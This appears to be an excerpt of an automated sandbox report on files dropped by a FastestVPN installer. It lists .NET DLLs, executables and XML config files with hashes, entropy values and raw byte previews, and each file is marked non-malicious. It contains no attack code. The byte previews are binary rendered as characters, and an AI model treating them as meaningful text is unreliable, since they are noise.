                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................wt....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                C:\Program Files\FastestVPN\is-GTIO3.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):61608
                                                                                                                Entropy (8bit):6.287396747644481
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:SmOGveifSTtyXEQ3nPGLb4PFvSMJCD2j+/IfHq1wJd9P581Icm/DskdFPYi3K/Ye:yLTtyXEQ3+bO6U+QlrPi1QLsgFP73K/h
                                                                                                                MD5:A760AEACBE049C8C0D5DD66DD9EAA7A0
                                                                                                                SHA1:975896722F2D5A365621EE407ACE3E3294CFC1C3
                                                                                                                SHA-256:C3618538771839CBC6A855E41A1664D5B86313070FC75CA1B58EF74D007DBDE4
                                                                                                                SHA-512:64CF42CF493686A4286320819D10A37CC075088509866E867A341651B7762FFD88750417E3AD72E6FA78908DD17C66363752E5AA2955066BA4930889D36AE3CA
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..........." ..0.................. ........... ....................... .......L....`.....................................O.......0................*..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H.......@@..<...........|.................................................(....*..(....*..(....*.......*Z~....,.*.oB...&......*.......*b~....-.r...ps....z~....*.(#...o8...*.0..........(#......o9.....(....Q*6.(.....(%...*.0..........(#........o:.....(....Q*R.(.......(....('...*:(#......o?...*N.(.....(.....()...*2(#....o;...*2(#....o<...*..o....*..o....*2(#....o=...*2(#....o>...*6(#.....o....*...0..........s"......}"....{"...-...+....#...s.......(1...*6(#.....o....*6..(....(3..

                                                                                                                C:\Program Files\FastestVPN\is-IDIHR.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):88192
                                                                                                                Entropy (8bit):6.25584016939133
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:0kUuBN7CjSkp9oa++t1BVryVKXDORdDeCNia6Lj4Fu/qSGnJdo0Wzs:ju/t/VryVKXeDezVLj4F/JdWQ
                                                                                                                MD5:4186A905DC180A0CC2110403727BD792
                                                                                                                SHA1:E0563D20CA7E95688A60F4BFC1AB0127EAE1F651
                                                                                                                SHA-256:40DCB80A87A762745D0A15294B5CA7783A9EAD1D93AD352D25B5EDAF4994651E
                                                                                                                SHA-512:1C3459232B41C531F01BCCE54E46799F2FB3FCD6C87D7F908C633ABCC718D9726D98E65F964B1A870D416A38F545971779054FE65F7C1299905FC7DC24FA2DEC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&..........>E... ...`....... ....................................`..................................D..O....`...............0...(...........C..T............................................ ............... ..H............text...D%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................E......H........l..@...........02..0...`C........................................(....*..(....*^.(.......k...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*.~....*..0..........(....,..*..(.....o ......&...*...................0...........(.......(!...-..,..*.*.(....,.r...p......%...%...("...*..(#...*.(....,.r...p......%...%...%...("...*...($...*.(....,!r...p......%...%...%...%...("...*....(%...*..,&(....,..r...pr...p.("...(&...*..('...*.*.(....,.r...p......%...

                                                                                                                C:\Program Files\FastestVPN\is-IKS22.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):19112
                                                                                                                Entropy (8bit):6.821071301483957
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:LVVVVVwhr+vtlzIYilpm0FP27NBY3Yuv+Z:LVVVVVwhKvtl8YijnK/Y/+Z
                                                                                                                MD5:64E2269D156CA2AA5704E2E0908506F9
                                                                                                                SHA1:0F7D6EECE52D8A9A91E389736BE1092739AA3014
                                                                                                                SHA-256:B012720952E3FE9CB303E9EDB4314F924CB388D9C24FB63A968A3479113B665D
                                                                                                                SHA-512:C845E7EB96ED29C564C28D42F07F5EB81C27568F0F89C343533384BF8E704B99566EA073E46259D9F3740A7A3D41AAB5BFA78AEAB05697100B3A179F5C1EDFB6
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c............" ..0..............6... ...@....... ..............................hj....`.................................16..O....@............... ...*...`......t5..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................e6......H.......("..L............................................................~....*.......*..s....*..s....*..0..B.......(....,.*s....(....(....(....(....(....(.....(....(....(.....(....*..(...+*F.(...+(...+(...+*F.(...+(...+(...+*F.(...+(...+(...+*.0..f........(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+*..(...+*...0...........-..*....8.......%o.....%o.....o........E........ ...>...+X..(....-...(....+....(......+:..(....-...

                                                                                                                C:\Program Files\FastestVPN\is-IURM0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60584
                                                                                                                Entropy (8bit):6.4260026936119194
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:D0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxn+:DxJ8kM9CHJ6bY3zkXX8u4iNa7ogBK/o
                                                                                                                MD5:550D6E67BB1795B941E91840508BF7F6
                                                                                                                SHA1:46E22693BDC92F4E8DD8C4C5433D233438A271EF
                                                                                                                SHA-256:D4B4CEB77A3D429EE21412E5172AAC6E36C553E7D990137F212E5ADD6B9A9336
                                                                                                                SHA-512:1271BEC8A700AC925B9AC13FDB84FFCCFFA6A1589FA3F9FA1361282C47BB8985A7C8F0335EFDD422E2A708BF2DD46458AEF64B4E2A54B8488F8ED53750337A23
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                C:\Program Files\FastestVPN\is-JUGN8.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.8288213942048985
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:tNjMaZomdl7FUC9mhsCVoNycrjIg9J197j26QIYidYFl0FP27NBY3Yuv+tiV:tHhShzuD/Bpa65YiGFuK/Y/+tiV
                                                                                                                MD5:37E6E1D07988932C4360D74A34B27AE9
                                                                                                                SHA1:F53AE2462ECC565EFCC28D1C5BB2C285BF899798
                                                                                                                SHA-256:7E321840FA4F112D0F117D8F4E4DDCA274829693CD1C1189CE1061B6F67550FF
                                                                                                                SHA-512:EFB94F19A885D20BF602AFE84CDD4FE5E9CE89B3A5B7D0BD5273546A6B5D894AD6F1359545DC6B2EEDE06FCB06790286CB69EFB153F249D7D8EF0C677C5D1B3A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p............@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\is-K5QR5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):70824
                                                                                                                Entropy (8bit):6.23750269831583
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:rMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTe7TK/SB0:UorK0HBDk4rV21HObvm2LJB4eHK/SO
                                                                                                                MD5:0F7D6DEE75C3FBB958529AB6A351CBDF
                                                                                                                SHA1:1CA639AB692ECD972C51C8BF826BF9BF089359FE
                                                                                                                SHA-256:C5B07CBACD0FF045485A0A4CE6FB3CCB330A0623E3EFE347D61DA4E698FDE412
                                                                                                                SHA-512:58F0B5ED44E3290D6C9FB0E624F2A351CD5BB4744A84AC55AC47FB1B087026DE4DBAA6BBC83255EEC51A2BB3ED9A680EF53E8FC7035586B4A74CA68016AE0F5D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`...........`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\is-L52FN.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):354984
                                                                                                                Entropy (8bit):6.846739611307464
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:jbz6pzdD/rIJXiQTutgCNktQFvmnoxXTS4ubCjrKglegtKop/4:G9FrIJJaqCNktA+SXfUCP9lvtKop/4
                                                                                                                MD5:D822226C4B35A7305269C8E16E542D3E
                                                                                                                SHA1:12F92D16608AAC1C39DDC92BA2B5AB8B5AAE6C30
                                                                                                                SHA-256:FC504A3F68150AFC8C3304E5528867BF99EDDE0F3707406A30371062DDD86A0E
                                                                                                                SHA-512:3A3A18D96716BD1033C35B06B73674FF6CBBEBE8F5025D0BE260F649FB268745290139B6501B9E208EB43EC5D76C2ABBA0A34C1E2F7E0E9F25E14C41F54E3914
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I}f.........."...0......D......6.... ... ....@.. ..............................o.....`.....................................O.... ..tA...........@...*........................................................... ............... ..H............text...<.... ...................... ..`.rsrc...tA... ...B..................@..@.reloc...............>..............@..B........................H........'... ...........G...............................................~....*.......*..,!.(...+.1..(...+(....-..(...+(....s....%o....%.o....o....&*....0..5........r...p.s....(.....{....,.*..}....r!..p.s.......(....*"..}....*..(....*.rY..p.....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...0............j(......j(.....(....,#.(....o....,..(....o ....(....o!.....(......&...s"...(.....(

                                                                                                                C:\Program Files\FastestVPN\is-LSBTJ.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):301224
                                                                                                                Entropy (8bit):5.823114295644
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOa:v56+Aq4WBTWpSqXhpeEioU2Uh/b
                                                                                                                MD5:4798226EE22C513302EE57D3AA94398B
                                                                                                                SHA1:F42C6CFA4068263D955608DE47E60D099AD8B394
                                                                                                                SHA-256:38F32C75433A2AF902D33511BC3BBBE5BBF66D87FEC7D3AD1694AECEEB7E485E
                                                                                                                SHA-512:94BB5E38CBCDC1E40BBD3AB14A3C92C8C90F64EA1910108BB2DE80E00BEA358A13A063031B5E3417A55102DB238488F5C3E766A1AF3ACEDB8806FEC5DD81990C
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P................... ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\is-MLS3U.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1192
                                                                                                                Entropy (8bit):5.059106104983516
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JduPF7NV+TkH2/17zVVXBOH2/17zVQ7uH2/XVUrPH2/+C9y:327Gwg1BOg1SagXSg+Cw
                                                                                                                MD5:66373624F8B60F41B8FEC0E61779C0AC
                                                                                                                SHA1:0D3BE3C009F0A2260F89C3FBC9FFEBA0061C17F2
                                                                                                                SHA-256:FE0A5830D875B8BD0864BF4F85705D4F2E3D7A575C07B2B5A18041558DBA1386
                                                                                                                SHA-512:74F084B2697F936122E371042FEF5740BF205914B3FA276F8F7C72561680BF2C39A7DD2970BDEDF36AACC20970CD9552A719211F30090881E498815D91C6CDD0
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.batteries_v2" publicKeyToken="8226ea5df37bcae9" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffc

                                                                                                                C:\Program Files\FastestVPN\is-OB5A6.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):143528
                                                                                                                Entropy (8bit):6.164743567434074
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:oxi8ae06y7Q0kSutmvEmFk0pBa/+h8k/6kY2F8xB0dhqABtx5yoG9Qd7n8K/m:Q0vDkSutmhFpYqtDqAhjMQdYK/m
                                                                                                                MD5:24DF113016A58EB1D14691CFE947C2C8
                                                                                                                SHA1:E32B2388C9BCB8BD3EEA1A87626B562A06F5E2F9
                                                                                                                SHA-256:4DE9980CF1D3B45FC14F69EA4DFF6F456389C5E817344D44D6FA7C1A3276AFB5
                                                                                                                SHA-512:10DD82391CF51885533A5F9F859D7E79A9016F6E6A24C0A04C9BE08EA4C5A951D73AF467EC89BAB191DAC4B37D51B0C0AB247A24CD05478AD6101A44E9FC0D48
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..\.........." ..0.............b.... ... ....... .......................`......q[....@.....................................O.... ..8................*...@..........8............................................ ............... ..H............text...8.... ...................... ..`.rsrc...8.... ......................@..@.reloc.......@......................@..B................C.......H........,..L...........,.................................................((...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....()...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o*....{....(a...*..(....zN........o+...s,...*.(....z.s-...*..(....zF(U....(O...s....*.(....z.(V...s....*.(....z.s/...*.(....z.s0...*..(....zN........o+...s1...*.(....zrr...p(\....c.M...(O...s2...*.(....zBr...p(Y...s2...*.(....z.s3...*.(....z.(X...s4...*.(!...z.(_...s4...*.(#...z

                                                                                                                C:\Program Files\FastestVPN\is-P4NC5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):147848
                                                                                                                Entropy (8bit):6.032707503792338
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:yiq8kuub1o2/5pds7tUMZNFxtPwVrHlGZ6U1SiWUwBpXtNpTE1MNniv:WFwzFQ9FGZ1SityhtNpTECU
                                                                                                                MD5:B6DB385295FA78A6AABCF217FD3C3F83
                                                                                                                SHA1:71E2A93223A6B8204EED6B9834284C0FA1D7EBD0
                                                                                                                SHA-256:ABF40F07643E6D29D0817021991F9D27410B7DCAEF80980D849634ACEF255BDC
                                                                                                                SHA-512:122FDB77C0AC6A7A2ECF5519BB059097EF119390E6D3C34F9FAB303D60279EE8649175617E3B6FC2A3D118B422CE8BC1BFFC208332D0A9F012271325AC0A0EE7
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....@..........." ..0..............1... ...@....... ..............................0b....`.................................71..O....@...................'...`.......0..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................k1......H.......8...d].................../.......................................0..s........r...p(......(....,.r...psK...z.rW..po....-.r[..pro..p(X....*s.....~.....o....o......+8..o....t.........o.....o ...o!.....o.....o ...o!...o".....o#...-.....u........,...o$.....r...po%...,.r[..pr...p(X....*.rS..po%...,.r[..prg..p(X....*~&....~&......o%...,.....o'...&..o%...,.....o'...&.(....,..(....,.r...p.r...p((...sK...z.(....-&.(....-.r...p.r%..p((.....r)..p.((.....*.......U.E........(....*.

                                                                                                                C:\Program Files\FastestVPN\is-P5MPD.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):53624
                                                                                                                Entropy (8bit):6.18841715621451
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:mLtojuUUUbf/l0lwELEEEqi8g15qTLT5HGoV0weeezxSoL3G7Yl9zndG:mE17Iw8/i8gM5maee8SoL13zdG
                                                                                                                MD5:B7ABAF6A90E95E585E71C0C22D90AF73
                                                                                                                SHA1:C9756883D1738A9931D0BF58D6F69CBB8DFD5870
                                                                                                                SHA-256:3BA247FDCC6953B5CC672A361983B7B0AF3051A83128970BCEBAB22036D1E859
                                                                                                                SHA-512:3A67EF230A06FAE3095926EAD9AAF329009BC0F2ED6AA1E6683C426ADA29DDD9CB77EC3BE134DFC4CD10A1F675D518FB4986363C4FE649D4247770B96DBC7A56
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#2..........." ..0.................. ........... ...............................0....`.....................................O.......................x'..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........E...w..........................................................&...(....*2.r...p(....*V.(......}......}....*..{....*..{....*..{....*..(......}......}......}.......}.......}....*..{....*..{....*..{....*..{....*..{....*...0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...

                                                                                                                C:\Program Files\FastestVPN\is-Q7VN9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1106
                                                                                                                Entropy (8bit):5.038231865445437
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:2dV8F7H3p2/+XBPpZp2/+XBPqp2/+XBw1irkV:cVg7C+XBR4+XBn+XBvrE
                                                                                                                MD5:75E66AB540561A0C7D4160271F518243
                                                                                                                SHA1:AD6501E407D216744B6C3DE76D7664D9581EBAD2
                                                                                                                SHA-256:091AFFF3BB63024B5A7B14EA30306B6753858FD1A33FC8C98E3B5E65FE92FBE7
                                                                                                                SHA-512:FCB55C0FDBB984B06AFF2FAFCAEA2596C175AA5A07D2F1A401305D3441338AA266A53D2DE7A7577684884A2E12CE3EE430B2E1D0210684A7EEFAF9EAA0DE115F
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.... <appSettings>.. <add key="DownloadLocation" value=""/>.. </appSettings>.... <runtime>.... <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.... <dependentAssembly>.... <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Threading.Tasks" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... </assemblyBinding>.... </runtime>

                                                                                                                C:\Program Files\FastestVPN\is-QEJK5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):53416
                                                                                                                Entropy (8bit):6.326182355914875
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:x0Gl7W1UiZTo1ooEqTh0sq/s/MnBOyvUPrYZbkchJYi/S8K/Y/+A:6qQpZTsooEah0sqU/by4UZzhJ7K8K/S
                                                                                                                MD5:C4BC370961A9E628E64B8FF4586D4DA6
                                                                                                                SHA1:B391F6A1A54B693F14BA7E8CD58DD8976CDDC992
                                                                                                                SHA-256:097B7F6F9ED8B63F0E725DE28D6842F6AC93D8105E441C7498385FAAD243A8C1
                                                                                                                SHA-512:169FD48C453BC95D33137BDAA22225B483CF9BF73CBCE9AFB5B6BF63B62300CC98A968F1D825348CDB8C786232B66D62247659FD809B6B0D7BCBF26C7B4519A4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... ....................................@.................................J...O.......$................*..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{....*..{....*V.(......}......}....*...0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....*.*.*. ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X*...0..b........r...p......%..{.......%q.........-.&.+.......o ....%..{.......%q.........-.&.+.......o ....(!...*...0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&*...0..A..........(....~.......o"...,)..o&..., .o'...-.~.....o(

                                                                                                                C:\Program Files\FastestVPN\is-QN6B0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):49320
                                                                                                                Entropy (8bit):6.325351798150663
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:Qmbo2ICFobV6wsLIcUIh/61jCouvi1Ys7ZYiG6K/Y/+Z:QmbrbU6ws0cGjCoei1Ys7Z7G6K/P
                                                                                                                MD5:C22900453EF4B917460ADEA7DE87225B
                                                                                                                SHA1:6878237656DA68C046FB95FAA8CAF3B4C719851B
                                                                                                                SHA-256:9AF8C8105093B7D62FC578DAE3497FF0AD796C9ABD638EB14269DED4270DFF96
                                                                                                                SHA-512:2E7D0EB99E2924FB375AAF8891968228193C65C133E362F66567C044E8B744ABC3A992EF7606644690D1BB81AD13A64A35D8107BDBDD9D5942BEA1DD1074EA3C
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ....................................`.................................p...O.......,................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........L...\............................................................{"...*..{#...*V.($.....}".....}#...*...0..A........u........4.,/(%....{"....{"...o&...,.('....{#....{#...o(...*.*.*. ?Y.. )UU.Z(%....{"...o)...X )UU.Z('....{#...o*...X*...0..b........r...p......%..{"......%q.........-.&.+.......o+....%..{#......%q.........-.&.+.......o+....(,...*..{-...*..{....*V.($.....}-.....}....*.0..A........u........4.,/(%....{-....{-...o&...,.('....{.....{....o(...*.*.*. (... )UU.

                                                                                                                C:\Program Files\FastestVPN\is-S1CTK.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3316968
                                                                                                                Entropy (8bit):6.532906510598102
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:JIBbo0WIgmjljFtXCdRLRBcJd+KaGxHIkMNqzP56O8lZ7qXUqi9Y:6BbBWIgWljGxRB/LLY
                                                                                                                MD5:0CF454B6ED4D9E46BC40306421E4B800
                                                                                                                SHA1:9611AA929D35CBD86B87E40B628F60D5177D2411
                                                                                                                SHA-256:E51721DC0647F4838B1ABC592BD95FD8CB924716E8A64F83D4B947821FA1FA42
                                                                                                                SHA-512:85262F1BC67A89911640F59A759B476B30CA644BD1A1D9CD3213CC8AAE16D7CC6EA689815F19B146DB1D26F7A75772CEB48E71E27940E3686A83EB2CF7E46048
                                                                                                                Malicious:false
